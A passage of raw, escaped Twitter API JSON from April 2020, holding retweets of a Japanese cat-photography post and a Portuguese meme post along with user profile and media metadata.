\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":2777,\"favorite_count\":4529,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":2777,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206511473061891,\"id_str\":\"1254206511473061891\",\"text\":\"RT @sakata_77: GW\\u3082\\u5bb6\\u3067\\u3084\\u308b\\u3053\\u3068\\u306a\\u304f\\u306a\\u3063\\u3066\\u304d\\u305f\\u304b\\u3089\\u5199\\u771f\\u30d5\\u30a9\\u30eb\\u30c0\\u3042\\u3055\\u3063\\u3066\\u305f\\u3089\\u5b8c\\u74a7\\u306a\\u62f3\\u6cd5\\u306e\\u69cb\\u3048\\u304b\\u3089\\u8e8d\\u52d5\\u3059\\u308b\\u732b\\u306e\\u5199\\u771f\\u3042\\u3063\\u305f\\u304b\\u3089\\u898b\\u3066 https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"sakata_77\",\"name\":\"\\u4e45\\u65b9 \\u5e83\\u4e4b\\u300c\\u306e\\u3089\\u732b\\u62f3\\u300d\",\"id\":3306955640,\"id_str\":\"3306955640\",\"indices\":[3,13]}],\"urls\":[],\"media\":[{\"id\":1254204964605325314,\"id_str\":\"1254204964605325314\",\"indices\":[71,94],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUxS7U8AIFCk1.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUxS7U8AIFCk1.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"},\"large\":{\"w\":2048,\"h\":1366,\"resize\":\"fit\"},\"medium\":{\"w\":1200,\"h\":800,\"resize\":\"fit\"}},\"source_status_id\":1254205590668062720,\"source_status_id_str\":\"1254205590668062720\",\"source_user_id\":3306955640,\"source_user_id_str\":\"3306955640\"}]},\"extended_entities\":{\"media\":[{\"id\":1254204964605325314,\"id_str\":\"1254204964605325314\",\"indices\":[71,94],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUxS7U8AIFCk1.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUxS7U8AIFCk1.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"},\"large\":{\"w\":2048,\"h\":1366,\"resize\":\"fit\"},\"medium\":{\"w\":1200,\"h\":800,\"resize\":\"fit\"}},\"source_status_id\":1254205590668062720,\"source_status_id_str\":\"1254205590668062720\",\"source_user_id\":3306955640,\"source_user_id_str\":\"3306955640\"},{\"id\":1254204976353521664,\"id_str\":\"1254204976353521664\",\"indices\":[71,94],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUx-sUMAAi1h5.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUx-sUMAAi1h5.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":510,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":900,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":1536,\"h\":2048,\"resize\":\"fit\"}},\"source_status_id\":1254205590668062720,\"source_status_id_str\":\"1254205590668062720\",\"source_user_id\":3306955640,\"source_user_id_str\":\"3306955640\"},{\"id\":1254204986143043586,\"id_str\":\"1254204986143043586\",\"indices\":[71,94],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUyjKUcAIAao-.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUyjKUcAIAao-.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1536,\"h\":2048,\"resize\":\"fit\"},\"medium\":{\"w\":900,\"h\":1200,\"resize\":\"fit\"},\"small\":{\"w\":510,\"h\":680,\"resize\":\"fit\"}},\"source_status_id\":1254205590668062720,\"source_status_id_str\":\"1254205590668062720\",\"source_user_id\":3306955640,\"source_user_id_str\":\"3306955640\"},{\"id\":1254204997614465024,\"id_str\":\"1254204997614465024\",\"indices\":[71,94],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUzN5UcAAQ6Li.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUzN5UcAAQ6Li.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"large\":{\"w\":2048,\"h\":1366,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"},\"medium\":{\"w\":1200,\"h\":800,\"resize\":\"fit\"}},\"source_status_id\":1254205590668062720,\"source_status_id_str\":\"1254205590668062720\",\"source_user_id\":3306955640,\"source_user_id_str\":\"3306955640\"}]},\"metadata\":{\"iso_language_code\":\"ja\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":900746954463784961,\"id_str\":\"900746954463784961\",\"name\":\"\\u30b5\\u30de\\u30f3\\u30b5\",\"screen_name\":\"samantha_globe3\",\"location\":\"HIROSHIMA\\u2764\\ufe0f\\u2194HIGASHIHIROSHIMA\\u2764\\ufe0f\",\"description\":\"\\u30d7\\u30e9\\u30b9\\u30b5\\u30a4\\u30ba\\u30e2\\u30c7\\u30eb\\u306b\\u61a7\\u308c\\u308b\\u73fe\\u5f79\\u307d\\u3061\\u3083\\u30cd\\u30b3\\u30ca\\u30fc\\u30b9\\ud83d\\ude3d\\ud83d\\udc95\\n5\\u6b73\\u306e\\u606f\\u5b50\\ud83d\\ude83#QAJF \\u5f8c\\u65b9\\u652f\\u63f4\\u3061\\u3085\\ud83d\\ude18\\u7686\\u69d8\\u3082\\u3046\\u3001\\u6d41\\u77f3\\u306b\\u899a\\u9192\\u3057\\u7948\\u308a\\u307e\\u3057\\u3087\\ud83d\\ude4f\\u2728\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":375,\"friends_count\":2326,\"listed_count\":2,\"created_at\":\"Thu Aug 24 15:49:43 +0000 2017\",\"favourites_count\":71089,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":30712,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/958228394243575808\\\/cVcNKl_I_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/958228394243575808\\\/cVcNKl_I_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/900746954463784961\\\/1503591735\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sun Apr 26 00:28:09 +0000 2020\",\"id\":1254205590668062720,\"id_str\":\"1254205590668062720\",\"text\":\"GW\\u3082\\u5bb6\\u3067\\u3084\\u308b\\u3053\\u3068\\u306a\\u304f\\u306a\\u3063\\u3066\\u304d\\u305f\\u304b\\u3089\\u5199\\u771f\\u30d5\\u30a9\\u30eb\\u30c0\\u3042\\u3055\\u3063\\u3066\\u305f\\u3089\\u5b8c\\u74a7\\u306a\\u62f3\\u6cd5\\u306e\\u69cb\\u3048\\u304b\\u3089\\u8e8d\\u52d5\\u3059\\u308b\\u732b\\u306e\\u5199\\u771f\\u3042\\u3063\\u305f\\u304b\\u3089\\u898b\\u3066 https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254204964605325314,\"id_str\":\"1254204964605325314\",\"indices\":[56,79],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUxS7U8AIFCk1.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUxS7U8AIFCk1.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"},\"large\":{\"w\":2048,\"h\":1366,\"resize\":\"fit\"},\"medium\":{\"w\":1200,\"h\":800,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254204964605325314,\"id_str\":\"1254204964605325314\",\"indices\":[56,79],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUxS7U8AIFCk1.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUxS7U8AIFCk1.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"},\"large\":{\"w\":2048,\"h\":1366,\"resize\":\"fit\"},\"medium\":{\"w\":1200,\"h\":800,\"resize\":\"fit\"}}},{\"id\":1254204976353521664,\"id_str\":\"1254204976353521664\",\"indices\":[56,79],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUx-sUMAAi1h5.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUx-sUMAAi1h5.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":510,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":900,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":1536,\"h\":2048,\"resize\":\"fit\"}}},{\"id\":1254204986143043586,\"id_str\":\"1254204986143043586\",\"indices\":[56,79],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUyjKUcAIAao-.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUyjKUcAIAao-.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1536,\"h\":2048,\"resize\":\"fit\"},\"medium\":{\"w\":900,\"h\":1200,\"resize\":\"fit\"},\"small\":{\"w\":510,\"h\":680,\"resize\":\"fit\"}}},{\"id\":1254204997614465024,\"id_str\":\"1254204997614465024\",\"indices\":[56,79],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUzN5UcAAQ6Li.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWfUzN5UcAAQ6Li.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/YuXzj43xwf\",\"display_url\":\"pic.twitter.com\\\/YuXzj43xwf\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sakata_77\\\/status\\\/1254205590668062720\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"large\":{\"w\":2048,\"h\":1366,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"},\"medium\":{\"w\":1200,\"h\":800,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"ja\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":3306955640,\"id_str\":\"3306955640\",\"name\":\"\\u4e45\\u65b9 \\u5e83\\u4e4b\\u300c\\u306e\\u3089\\u732b\\u62f3\\u300d\",\"screen_name\":\"sakata_77\",\"location\":\"\",\"description\":\"hisakata hiroyuki cat photographer \\u65e7\\u540d\\u30a2\\u30af\\u30bb\\u30f3\\u30c8 \\u5199\\u771f\\u96c6\\u300c\\u306e\\u3089\\u732b\\u62f3\\u300d\\u30d5\\u30a9\\u30ed\\u30fc\\u304a\\u6c17\\u8efd\\u306b \\u4e5d\\u5dde\\u5728\\u4f4f\\u3001\\u732b\\u3058\\u3083\\u3089\\u3057\\u3092\\u4f7f\\u3063\\u305f\\u64ae\\u5f71\\u304c\\u5f97\\u610f\\u3067\\u3059 \\u5199\\u771f\\u306e\\u7121\\u65ad\\u8ee2\\u8f09\\u53ca\\u3073\\u4f7f\\u7528\\u306f\\u7981\\u6b62 \\u8b1b\\u6f14\\u4f9d\\u983c\\u3042\\u308c\\u3070\\u3054\\u76f8\\u8ac7\\u304f\\u3060\\u3055\\u3044 \\u4f7f\\u7528\\u6a5f\\u7a2e\\uff1aOlympus E-M1Mk2 \\u9023\\u7d61\\u5148 sakata_77@hotmail.com\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":80561,\"friends_count\":708,\"listed_count\":1180,\"created_at\":\"Wed Aug 05 13:21:20 +0000 2015\",\"favourites_count\":2835,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":2385,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1117280420414943232\\\/y6ZDhbQm_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1117280420414943232\\\/y6ZDhbQm_normal.png\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/3306955640\\\/1539213231\",\"profile_link_color\":\"FF691F\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"000000\",\"profile_text_color\":\"000000\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":48,\"favorite_count\":121,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"ja\"},\"is_quote_status\":false,\"retweet_count\":48,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"ja\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206511460618240,\"id_str\":\"1254206511460618240\",\"text\":\"RT @oubrisado: pessoal do meu wpp esperando eu responder \\\/ eu de boa no twitter https:\\\/\\\/t.co\\\/HHEIJZwrMm\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"oubrisado\",\"name\":\"brisado\",\"id\":1224850562123997185,\"id_str\":\"1224850562123997185\",\"indices\":[3,13]}],\"urls\":[],\"media\":[{\"id\":1210301618455023616,\"id_str\":\"1210301618455023616\",\"indices\":[80,103],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6NcXkAAAKa9.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6NcXkAAAKa9.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/HHEIJZwrMm\",\"display_url\":\"pic.twitter.com\\\/HHEIJZwrMm\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sincerojesuis\\\/status\\\/1210301628651364352\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"small\":{\"w\":530,\"h\":680,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":798,\"h\":1024,\"resize\":\"fit\"},\"medium\":{\"w\":798,\"h\":1024,\"resize\":\"fit\"}},\"source_status_id\":1210301628651364352,\"source_status_id_str\":\"1210301628651364352\",\"source_user_id\":927680014627241984,\"source_user_id_str\":\"927680014627241984\"}]},\"extended_entities\":{\"media\":[{\"id\":1210301618455023616,\"id_str\":\"1210301618455023616\",\"indices\":[80,103],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6NcXkAAAKa9.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6NcXkAAAKa9.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/HHEIJZwrMm\",\"display_url\":\"pic.twitter.com\\\/HHEIJZwrMm\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sincerojesuis\\\/status\\\/1210301628651364352\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"small\":{\"w\":530,\"h\":680,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":798,\"h\":1024,\"resize\":\"fit\"},\"medium\":{\"w\":798,\"h\":1024,\"resize\":\"fit\"}},\"source_status_id\":1210301628651364352,\"source_status_id_str\":\"1210301628651364352\",\"source_user_id\":927680014627241984,\"source_user_id_str\":\"927680014627241984\"},{\"id\":1210301623312044032,\"id_str\":\"1210301623312044032\",\"indices\":[80,103],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6fiX0AAmnHI.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6fiX0AAmnHI.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/HHEIJZwrMm\",\"display_url\":\"pic.twitter.com\\\/HHEIJZwrMm\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sincerojesuis\\\/status\\\/1210301628651364352\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":669,\"resize\":\"fit\"},\"large\":{\"w\":952,\"h\":937,\"resize\":\"fit\"},\"medium\":{\"w\":952,\"h\":937,\"resize\":\"fit\"}},\"source_status_id\":1210301628651364352,\"source_status_id_str\":\"1210301628651364352\",\"source_user_id\":927680014627241984,\"source_user_id_str\":\"927680014627241984\"}]},\"metadata\":{\"iso_language_code\":\"pt\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1104425682640228353,\"id_str\":\"1104425682640228353\",\"name\":\"pav\\u00e3o :)\",\"screen_name\":\"leeonexx\",\"location\":\"\",\"description\":\"ig: ___.its.leonor.__\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":160,\"friends_count\":363,\"listed_count\":0,\"created_at\":\"Sat Mar 09 16:56:16 +0000 2019\",\"favourites_count\":4884,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":14316,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1251952533280612353\\\/DYZ4Yx5-_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1251952533280612353\\\/DYZ4Yx5-_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1104425682640228353\\\/1587327294\",\"profile_link_color\":\"1B95E0\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"000000\",\"profile_text_color\":\"000000\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 15:01:11 +0000 2020\",\"id\":1254062910847975424,\"id_str\":\"1254062910847975424\",\"text\":\"pessoal do meu wpp esperando eu responder \\\/ eu de boa no twitter https:\\\/\\\/t.co\\\/HHEIJZwrMm\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1210301618455023616,\"id_str\":\"1210301618455023616\",\"indices\":[65,88],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6NcXkAAAKa9.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6NcXkAAAKa9.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/HHEIJZwrMm\",\"display_url\":\"pic.twitter.com\\\/HHEIJZwrMm\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sincerojesuis\\\/status\\\/1210301628651364352\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"small\":{\"w\":530,\"h\":680,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":798,\"h\":1024,\"resize\":\"fit\"},\"medium\":{\"w\":798,\"h\":1024,\"resize\":\"fit\"}},\"source_status_id\":1210301628651364352,\"source_status_id_str\":\"1210301628651364352\",\"source_user_id\":927680014627241984,\"source_user_id_str\":\"927680014627241984\"}]},\"extended_entities\":{\"media\":[{\"id\":1210301618455023616,\"id_str\":\"1210301618455023616\",\"indices\":[65,88],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6NcXkAAAKa9.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6NcXkAAAKa9.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/HHEIJZwrMm\",\"display_url\":\"pic.twitter.com\\\/HHEIJZwrMm\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sincerojesuis\\\/status\\\/1210301628651364352\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"small\":{\"w\":530,\"h\":680,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":798,\"h\":1024,\"resize\":\"fit\"},\"medium\":{\"w\":798,\"h\":1024,\"resize\":\"fit\"}},\"source_status_id\":1210301628651364352,\"source_status_id_str\":\"1210301628651364352\",\"source_user_id\":927680014627241984,\"source_user_id_str\":\"927680014627241984\"},{\"id\":1210301623312044032,\"id_str\":\"1210301623312044032\",\"indices\":[65,88],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6fiX0AAmnHI.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EMva6fiX0AAmnHI.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/HHEIJZwrMm\",\"display_url\":\"pic.twitter.com\\\/HHEIJZwrMm\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/sincerojesuis\\\/status\\\/1210301628651364352\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":669,\"resize\":\"fit\"},\"large\":{\"w\":952,\"h\":937,\"resize\":\"fit\"},\"medium\":{\"w\":952,\"h\":937,\"resize\":\"fit\"}},\"source_status_id\":1210301628651364352,\"source_status_id_str\":\"1210301628651364352\",\"source_user_id\":927680014627241984,\"source_user_id_str\":\"927680014627241984\"}]},\"metadata\":{\"iso_language_code\":\"pt\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1224850562123997185,\"id_str\":\"1224850562123997185\",\"name\":\"brisado\",\"screen_name\":\"oubrisado\",\"location\":\"\",\"description\":\"o mais brisado desse site\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":37347,\"friends_count\":2,\"listed_count\":12,\"created_at\":\"Wed Feb 05 00:21:59 +0000 2020\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":293,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1247598226791858184\\\/DHOMTvrj_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1247598226791858184\\\/DHOMTvrj_normal.jpg\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coo